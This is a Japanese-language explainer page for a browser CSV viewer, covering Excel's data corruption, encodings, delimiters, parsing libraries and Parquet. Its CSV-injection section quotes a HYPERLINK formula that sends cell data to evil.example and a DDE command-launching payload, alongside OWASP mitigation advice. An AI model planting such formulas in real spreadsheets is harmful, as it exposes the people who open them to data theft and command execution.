無料 CSV ビューアー

なぜ「Excel無しでCSVを表示する」が独自のユースケースであるか

「CSVをどう開くか?」に対する素朴な答えは「ダブルクリック;Excelが開きます」です。その答えはCSVを実際に見る必要のある人々の驚くべき割合にとって間違っています。理由は4つのバケットに分かれ、それぞれがこのようなブラウザベースのビューアにたどり着く本当の理由です。

1. Excelは開く際にデータを破壊します。最も引用される例は遺伝子名の災害で、ExcelはMARCH1を読み1-Marと書き、SEPT2を読み2-Sepと書きます。HUGO Gene Nomenclature CommitteeはExcelとの戦いを諦め、2020年に27の人間の遺伝子の名前を変更しました、データ破損が広範囲に及んでいたためです。3,597の論文を見た2020年のPLOS Computational Biologyの論文は、補足的な遺伝子データの約5分の1がExcelの自動変換によって静かに損なわれていたことを発見しました。遺伝子は有名なケースですが、同じメカニズムが米国のZIPコード(01234が1234になる)、先頭にゼロのある製品SKU、音楽や化学の分数表記(3/4、4/4)、日付の形をしたシリアル番号(1-1、2-2)、電話の内線、および科学的記法のアカウント番号(9180000000000の代わりに9.18e+12)を食べます。ビューア、書かれたままの生のバイトを表示するもの、は単なる便利さではなく、正確性のプリミティブです。顧客IDの列がエクスポートを無傷で生き残ったかを確認する必要がある場合、解析せず、強制せず、「助け」ないビューアが必要です。

2. Excelがマシンにない。2026年のラップトップの非自明な割合はMicrosoft 365ライセンスを持っていません。Chromebookはそれなしで出荷されます;多くのLinuxインストールはLibreOffice Calcを独自の癖と共に使用します;多くのMacユーザーはApple NumbersでCSVを開きますが、これは長い行を静かに折り返し、独自の数値強制パーソナリティを持っています。インストールできない企業発行のマシン、または借りたデバイス、またはキオスクでファイルを検査しようとする人は、許可なしに任意のブラウザタブで実行されるツールが必要です。

3. ファイルがExcelが許可するよりも大きい。Excel 2007は.xlsxを導入し、.xlsの65,536行から1,048,576行(2²⁰)まで行の上限を上げました。列の上限は256から16,384(2¹⁴)になりました。20年間、それはほとんどの人にとって十分でした。それは多くの人にとってもはや十分ではありません。控えめなサーバーログは1週間で200万行を生成できます。中規模ストアの1年分の注文のShopifyエクスポートは100万を超えることがあります。1ヘルツでサンプリングするセンサーストリームは1日あたり86,400行を生成します;1年は3150万です。Excelのオーバーフローの処理は残酷です:1,048,576行で静かに切り捨て、何も起こらなかったかのように続行します。警告バナーはありません。ユーザーは数週間後、もしあれば、欠けている行を発見します。

4. モバイル。iOSとAndroidのスプレッドシートアプリは二級市民です。Excelモバイルアプリは存在しますがMicrosoftアカウントの背後にゲートされ、デスクトップ機能の小さなサブセットを持ち、電話で広いテーブルを検査するのは苦痛です。時々、同僚があなたにメールで送った添付ファイルを開き、いくつかの行を見て、スクリーンショットを撮り、返信するだけです。モバイルブラウザで読み込み、データをスクロール可能なHTMLテーブルとしてフォーマットし、それ以外何もしないCSVビューアは、その仕事に最適なツールです。

そして5番目の、より小さなバケット:メッセージ用のスクリーンショット。多くの場合、人が実際に欲しいのは、Slack、チケット、メール返信に貼り付けることができる3つまたは4つの行のきれいなビジュアルです。Excelでファイルを開いてスクリーンショットを撮ると、リボン、グリッド線、アクティブセルセレクタ、および上部のファイルパスストリップを含む画像が生成されます、スクリーンショットの20パーセントがExcelクロームです。ブラウザタブにレンダリングされた裸のHTMLテーブルは、最もクリーンなスクリーンショットの被写体です。

短い歴史(表示に重要な部分)

完全なCSVの歴史は、コンパニオンのtext-to-csvページにあります、IBM Fortran 1972、何十年もの非公式な使用、RFC 4180は2005年10月にYakov Shafranovichによってついに公開、MIMEタイプtext/csvがIANAに登録、W3C Model for Tabular Data and Metadata on the Web (CSVW)が2015年12月17日にW3C Recommendationステータスに到達(そして実際にはほとんど無視される)。表示に具体的に重要なのは、これらの文書のどれもCSVをどう表示するかを指定していないことです。標準的な列幅、整列規約、行1がヘッダーかどうかのルールはありません。RFC 4180は書き手にカンマをエスケープする方法を伝えます;それはレンダリングする方法について読者に何も伝えません。ビューアの仕事は仕様によって未定義です。

私たちが持っているのは、スプレッドシートソフトウェアで生じた規約(テキストを左寄せ、数字を右寄せ、最初の行をフリーズ、可読性のために行の色を交互にする)とウェブテーブルからの規約(ソート可能なヘッダー、スティッキー位置決め、グリッド上の検索入力)です。現代のCSVビューアは本質的にスプレッドシートUIから編集を引いたものです。

ロケール区切り文字とBOMの罠

CSVライターを噛むロケール区切り文字のカオスは、リーダーも噛みます、en-USではカンマ、fr-FR / de-DE / it-IT / es-ES / pt-BRではセミコロン、それ以外のどこでもタブとパイプ。カンマをハードコードし、フランスの「CSV」を1行あたり1列としてレンダリングするビューアは到着時に壊れています。このツールの「Auto-detect」デフォルトと手動オーバーライドは正しいデザインです:賢明なことを試みますが、ヒューリスティックが失敗するとき(そしてそうなります、すべてがコンマを含む値の単一列を持つファイルで)、ユーザーは選択できます。

byte-order mark、UTF-8ファイルの先頭にある3バイトEF BB BF、U+FEFFをエンコード、はWindows上のExcelがそれなしでUTF-8を検出することを拒否するため存在します。礼儀正しいCSVライターはExcelフレンドリーであるためにBOMを前置します;コストは他のすべての読者に降りかかります。ほぼすべてのコマンドラインツール、awk、cut、head、tail、古いsedは、BOMを最初のフィールドの一部として扱います。nameを読むべき列ヘッダーはnameを読みます。Pythonの組み込みcsvモジュールは、ファイルがutf-8-sigコーデックで開かれない限りBOMを取り除きません;100万のチュートリアルが単純なutf-8を使用し、静かに壊れたパーサーを生成します。最初の列ヘッダーの前に奇妙な文字が見える場合、それはUTF-8 byte-order markです、ファイルのバグではなく、エンコーダーとデコーダーの間の不一致だけです。

Excelの4つのCSVバリアント

ExcelのSave Asダイアログは4つの「CSV」フォーマットを提供し、ラベルは誤解を招きます。「Comma delimited」ラベルは実際にはユーザーのロケールリスト区切り文字を使用し、これはヨーロッパ大陸とラテンアメリカのほとんどでセミコロンです。

• CSV (Comma delimited):ユーザーのロケールリスト区切り文字、ANSIコードページ、BOMなし、CRLFを使用。
• CSV UTF-8 (Comma delimited):Excel 2016で追加、4つのうち唯一UTF-8を使用するもの(BOM付き)。
• CSV (Macintosh):MacRoman encoding、classic-MacのCRのみの行終端、ほとんど時代遅れだがまだ現れる。
• CSV (MS-DOS):OEMコードページ(en-USではCP437、西ヨーロッパではCP850)。

すべてのバリアントで「ただ機能する」ことを望むビューアは、エンコーディング(UTF-8 ± BOM、BOM付きUTF-16、Windows-1252、ISO-8859-1、MacRoman、Shift_JIS、GBK)、行終端(CRLF / LF / CR)、区切り文字(カンマ / セミコロン / タブ / パイプ / カスタム)、引用スタイル(RFC 4180 doubled-quote、バックスラッシュ、なし)、およびヘッダーの存在を検出する必要があります。これらすべてを確実に検出するのは本当に困難です。実用的なアプローチは:検出できるものは検出し、残りは手動オーバーライドを公開し、決して静かに失敗しないこと。このツールは区切り文字を手動で公開し、最も一般的な驚きを処理します。現在エンコーディングを公開していません、Windows-1252としてエクスポートされたアクセント付き文字を持つフランスのCSVは、それも適切なオーバーライドを取得するまでmojibake(éの代わりにé)を表示します。

ブラウザサイド解析、ライブラリ

支配的なクライアントサイドCSVライブラリはPapaParseで、2013年にMatt Holtによって作成され、現在約13.4kのGitHubスターを持っています。そのタグライン「最速のin-browser CSVパーサー」は誇張ではありません。RFC 4180準拠、MITライセンス、依存なしで、同期文字列解析、FileReader経由の非同期ファイル解析、RAMよりも大きいファイルのストリーミングchunk-by-chunk解析、およびUIをレスポンシブに保つためのworker-thread解析をサポートします。PapaParseは、そうしない特別な理由がない限り、任意のブラウザサイドCSVツールのデフォルトです。

Node側では、標準的な選択はcsv-parse(Adaltas、2010年に最初にリリース)、戦闘テスト済み、コールバックベースとストリームベースの両方のAPIを公開します。mafintoshによるcsv-parserは機能の幅よりも生のスループットを優先します。fast-csv(C2FO)は、同じライブラリで読み取りと書き込みの両方を望む店向けのTypeScriptで構築されたparser-and-formatterペアです。

RAMよりも大きいファイル用のストリーミング

ブラウザでの素朴なCSV読み取りはFileReader.readAsText(file)を使用し、これはonloadを呼び出す前に全体のファイルをメモリに読み込みます。100メガバイトのファイルの場合、それはJavaScriptヒープの100メガバイトです。1ギガバイトのファイルの場合、ブラウザタブはメモリ不足になるか、ほとんどのコンシューマハードウェアでスラッシュして停止します。

現代の代替案はStreams APIで、Chrome 71とFirefox 65以降File.prototype.stream()として利用可能です。file.stream()を呼び出すと、ファイルのバイトをchunkで生成するReadableStream<Uint8Array>が返されます。消費者はストリームから読み取り、TextDecoder(マルチバイトUTF-8シーケンスがchunkの境界をまたぐ場合に正しく繋がれるようにstream: trueフラグ付き)で各chunkをデコードし、テキストをストリーミングパーサーに供給します。PapaParseは、そのstepまたはchunkコールバックを介してストリームを直接取り込むことができます。結果は、任意に大きいファイルの一定メモリ解析です。

ビューアの場合、ストリーミングだけでは不十分です、レンダリングされたテーブルも仮想化される必要があります、そうでなければ解析が成功してもレンダリング1000万の<tr>要素はページをクラッシュさせます。標準的なアーキテクチャパターン:ロード時のstream-parse-to-IndexedDB、スクロール時のvirtualised-render-from-IndexedDB。このツールは現在、低い数十メガバイトのファイル用に最適化されています、ほぼ全員をカバーする典型的な「このファイルを見たい」ワークフロー用。マルチギガバイトCSVには、Visidata、DuckDB CLIのFROM句、csvkitのcsvlookのようなデスクトップツールを見てください。

ソート、フィルタリング、ピボット、JavaScriptグリッドのランドスケープ

データがページに入ったら、ユーザーは3つのことをしたい:列でソート、行をフィルタ、時にはピボット。これらをブラウザDOMで再実装するJavaScriptライブラリの全産業があります:

• DataTables.js by Allan Jardine(作業は2008年に開始、SpryMediaは2011年に形成)は祖父です。任意のHTML <table>を取り、ソート可能なヘッダー、インスタント検索入力、ページネーション、および列の表示/非表示制御を取得します。元々jQueryベース;ドロップインとしてうまく機能します。数万行まで快適;数十万のためにページネーションが負荷支持になります。
• AG Grid by Niall Crosby(2015、ロンドンの取引フロアでのグリッドへのCrosbyのフラストレーションから生まれた)はヘビーウェイトです。DOM仮想化を中心に構築されており、ビューポートに表示される行のみが実際にレンダリングされるため、単一のスクロールバーで100万行を快適に表示できます。無料のCommunity Edition(MIT)プラス有料のEnterprise Edition(ピボットテーブル、高度なフィルター、統合チャート、サーバーサイド行モデル)。「ブラウザでExcelのように見える必要のある真剣なデータツールを構築している」のデフォルトの選択。
• Tabulator by Oli Folkerdは現代の依存関係フリーの代替です。バージョン4.0(2018)はjQueryを含むすべての依存関係を脱ぎ捨てた;「DataTablesは過度にjQuery風」と「AG Gridは過度すぎる」の間のスイートスポットに位置します。

ピボットに特に、Nicolas KruchtenによるPivotTable.jsは最も引用されるJSライブラリです;AG Grid Enterpriseのピボットモードは商業的な選択です。ピボットは重い操作で、まずインデックスできるツールにデータをエクスポートする方が良いことが多いです。

分析ワークロード用CSV vs Apache Parquet

CSVが生き残る理由は文化的かつ慣性的であり、技術的ではありません。真剣な分析のために、CSVの昼食を食べたフォーマットはApache Parquetで、TwitterとClouderaのエンジニアによって2013年に共同で開発されたバイナリ列指向フォーマット、2015年4月27日にApache Software Foundationのトップレベルプロジェクトとして受け入れられました。Parquetは行ごとではなく列ごとにデータを保存し、これが分析にとって重要な反転です:SELECT AVG(price) FROM big_tableのようなクエリはディスクからprice列のみを読み取り、他のすべての列を完全にスキップします。CSVでは、同じクエリはファイルのすべてのバイトを読まなければなりません。

Parquetはスキーマメタデータも保持し(タイプは推論ではなく明示的)、圧縮されていないCSVに対して定期的に5-10倍の比率を達成する列圧縮を使用し、エンジンが列統計に基づいて行グループ全体をスキップできるようにpredicate pushdownをサポートします。Snowflake、BigQuery、Databricks、Amazon Athena、および本質的にすべての現代のクラウドデータウェアハウスとレイクハウスでのデフォルトファイル形式です。同じギガバイトスケールのファイルを繰り返し表示している場合は、Parquetを検討してください、より速く、より小さく、ほぼすべての現代のデータツールがネイティブで読みます。CSVは現在、人間と消費者ソフトウェアのロングテール間の交換フォーマットとして最もよく理解されており、Parquetは機械間のストレージフォーマットです。

CSV injection、セキュリティの角度

CSV injection、時には式インジェクションと呼ばれる、はCSVセルの値が=、+、-、または@で始まり、ファイルが開かれたときにExcelとGoogle Sheetsがそれを式として解釈する原因となる攻撃です。OWASPは少なくとも2014年からこれを文書化しています。教科書の例は=2+5が文字通りのテキストではなく7としてレンダリングされることです。危険な例は=HYPERLINK("https://evil.example/log?d="&A1, "Click for results")で、クリックされると、セルA1の内容を攻撃者に流出させます。本当に危険な例は=cmd|'/c calc'!A0で、特定のExcelバージョンではDDE経由で任意のコマンドを起動でき、Microsoftの2018年のデフォルトDDE変更によって実質的に軽減されましたが、一部の構成では依然として存在します。

OWASPガイダンスに従う標準的な軽減策:ユーザー送信のテキストからCSVを生成するとき、=、+、-、@、タブ、またはキャリッジリターンで始まるセルの前にシングルクォートを付けます。ビューアはこの攻撃の受信側であり、発信側ではありませんが、ここで式プレフィックスされたセルを含むCSVを開いた場合、それは最初にそれらのセルを置き換えずに同じファイルをExcelで開かない強いヒントです。最初にビューアで検査するポイントは、まさにこの種の罠を捕まえることです。

人々がこの種のビューアを開く実世界の場所

• 銀行またはフィンテックの取引明細CSV。ほとんどの小売銀行は、顧客が取引履歴の1年をCSVとしてダウンロードできるようにします。顧客は、予算アプリ、税ツール、または会計士のスプレッドシートにインポートする前にファイルを見たい、日付範囲を確認、取引をカウント、特定の商人を検索したいのです。
• IoTおよびセンサーデータエクスポート。気象観測所CSV、土壌湿度センサーログ、スマートホーム電気メーターエクスポート。多くの場合数万行。ユーザーは、特定の間隔を通してサンプリングが継続し、ギャップがないことを確認しています。
• サーバーログダンプ。CSVに変換されたApache combined log format、logger -t経由でエクスポートされたsyslogレコード、S3に送られて検査のためにダウンロードされたアプリケーションログ。
• CRMとSaaSエクスポート。Salesforce Account export、HubSpot contacts、Stripe customers、Mailchimp audience、Shopify orders、Notion database。すべてのSaaSプラットフォームは独自のCSVフォーマットと癖を持っています。ユーザーは一括編集前、再インポート前、または同僚にファイルを渡す前に検査しています。
• 調査の回答。Google Forms、SurveyMonkey、Typeform、Qualtrics、すべてデフォルトでCSVをエクスポートします。研究者はオープンテキストの回答を見て、分布の感覚を得て、何も空でないことを確認したいのです。
• パブリックデータダウンロード。政府のオープンデータポータル(data.gov、data.gov.uk、EU Open Data Portal)、Wikipediaデータエクスポート、科学データリポジトリ。CSVはユニバーサル分母です。
• 一括インポート準備。ユーザーは手動または別のツールでCSVを組み立て、不正な行を静かに拒否するシステムにアップロードする前に、それが整形式であることを確認したいのです。ビューアはドライランです。
• 継承。同僚がCSVを送りました。ユーザーは中身が何か分かりません。それともっと深く関与するかどうかを決定する前に、ちらりと見たいのです。

その他の質問

これはどれくらい大きなファイルを開けますか?

現在の実装は、ブラウザメモリに簡単に収まり、合理的なHTMLテーブルとしてレンダリングする低い数十メガバイトのファイルで快適です。数百メガバイト以上のファイルの場合、ページが遅くなります;ギガバイトのファイルの場合、ブラウザタブがメモリを使い果たしてクラッシュする可能性があります。非常に大きなCSVの場合、Visidata、csvkitのcsvlook、またはDuckDB CLIのFROM 'file.csv' SELECTのようなデスクトップツールを見てください。

なぜ私のCSVが1つの巨大な列のように見えるのですか?

自動区切り文字検出が間違って推測しました。これはファイルがセミコロン(ヨーロッパ大陸のほとんど)、タブ(CSVとして誤ってラベル付けされたTSVファイル)、またはパイプ(一部のデータベースエクスポート)を使用する場合に最も一般的です。区切り文字のドロップダウンを正しい文字に切り替えてください、しばしばファイル拡張子と実際の内容が一致しません。

私のアクセント付き文字がゴミに見えます。何が間違っていますか?

エンコーディングの不一致、ファイルはWindows-1252(または他の非UTF-8エンコーディング)でエンコードされ、ツールはそれをUTF-8として解釈しています。古典的な症状はéがéとして表示されることです。現在のビューアはエンコーディングのオーバーライドを公開していませんが、任意の現代のテキストエディタ(Notepad++、VS Code、BBEdit、gedit、最近のWindowsでもNotepad)でファイルをUTF-8として再保存し、ここで再度開くことができます。

これを使うべきですか、それともExcelで開くべきですか?

あなたのCSVがExcelが偶然破損できないデータ、純粋な散文テキスト列、通常範囲の単純な整数、Excelが期待する形式の日付のみを含む場合、Excelで問題ないし編集ツールはより豊かです。あなたのCSVがExcelが書き直す可能性のあるもの(遺伝子名、先頭ゼロのZIPコード、3/4のような分数、科学的記法形状の文字列、バイト単位で保存する必要のあるもの)を含む場合、Excelに触れさせる前に、ビューアでまず開いて中身を確認してください。ここで開くために費やす時間は、1週間後にExcelがあなたの遺伝子セットの名前を変更したことを発見することよりもはるかに安いです。